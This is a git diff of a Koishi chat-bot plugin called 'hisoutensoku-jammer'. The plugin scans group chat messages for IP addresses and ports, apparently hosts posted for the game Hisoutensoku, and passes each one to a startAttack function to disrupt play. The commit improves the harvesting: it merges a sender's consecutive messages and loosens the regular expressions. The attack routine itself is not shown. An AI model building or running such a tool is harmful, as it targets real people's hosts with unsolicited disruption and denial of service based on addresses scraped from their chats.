improve

package.json

 {
   "name": "koishi-plugin-hisoutensoku-jammer",
-  "version": "1.1.9",
+  "version": "1.1.10",
   "description": "A Koishi Plugin jamming hisoutensoku plays in group.",
   "main": "dist/index.js",
   "dependencies": {

src/index.ts

 import type { Context } from "koishi-core";
-import _ from "lodash";
+import _, { last } from "lodash";
 
 import "source-map-support/register";
 import type { Logger } from "koishi-utils";
@@ -56,6 +56,7 @@ const chineseCharacterList = [
 class HisoutensokuJammer {
   log: Logger;
   targetCtx: Context;
+  lastMessageMap = new Map<string, string>();
   constructor(private ctx: Context, private config: HisoutensokuJammerConfig) {
     this.targetCtx = config.target(ctx);
     this.log = ctx.logger("hisoutensoku-jammer");
@@ -63,30 +64,39 @@ class HisoutensokuJammer {
 
   apply() {
     this.targetCtx.middleware(async (session, next) => {
+      const sender = session.userId;
       const message = session.content;
-      this.handleMessage(message).then();
+      this.handleMessage(message, sender).then();
       return next();
     });
   }
 
-  async handleMessage(message: string) {
+  async handleMessage(message: string, sender: string) {
     let realMessage = message.trim().split('\n').join(' ');
     for (let chineseCharacter of chineseCharacterList) {
       realMessage = realMessage.replace(chineseCharacter.characterRegExp, chineseCharacter.value)
     }
-    const messageMatch: RegExpMatchArray = realMessage.match(
-      /([1-2]? ?\d? ?\d ?)(([^\d][1-2]?\d{1,2}){3}).+?([1-6] ?\d ?\d ?\d ?\d)/g
+    const lastMessage = this.lastMessageMap.get(sender);
+    this.lastMessageMap.set(sender, realMessage);
+    let messageMatch: RegExpMatchArray = realMessage.match(
+      /([1-2]? *\d? *\d *)(([^\d][1-2]?\d{1,2}){3}).+?([1-6] *\d *\d *\d *\d)/g
     );
+    if (!messageMatch && lastMessage) {
+      const combinedMessage = `${lastMessage} ${realMessage}`;
+      messageMatch = combinedMessage.match(
+        /([1-2]? *\d? *\d *)(([^\d][1-2]?\d{1,2}){3}).+?([1-6] *\d *\d *\d *\d)/g
+      );
+    }
     if (!messageMatch) {
       return;
     }
     const attackPromises = messageMatch.map((pattern) => {
       const patternMatch = pattern.match(
-        /([1-2]? ?\d? ?\d ?)(([^\d][1-2]?\d{1,2}){3}).+?([1-6] ?\d ?\d ?\d ?\d)/
+        /([1-2]? *\d? *\d *)(([^\d][1-2]?\d{1,2}){3}).+?([1-6] *\d *\d *\d *\d)/
       );
-      const firstDigit = patternMatch[1].replace(/ /g, '');
+      const firstDigit = patternMatch[1].replace(/ +/g, '');
       const address = `${firstDigit}.${patternMatch[2].slice(1).split(/[^\d]/).join(".")}`;
-      const port = parseInt(patternMatch[4].replace(/ /g, ''));
+      const port = parseInt(patternMatch[4].replace(/ +/g, ''));
       return this.startAttack(address, port);
     });
     const results: boolean[] = await Promise.all(attackPromises);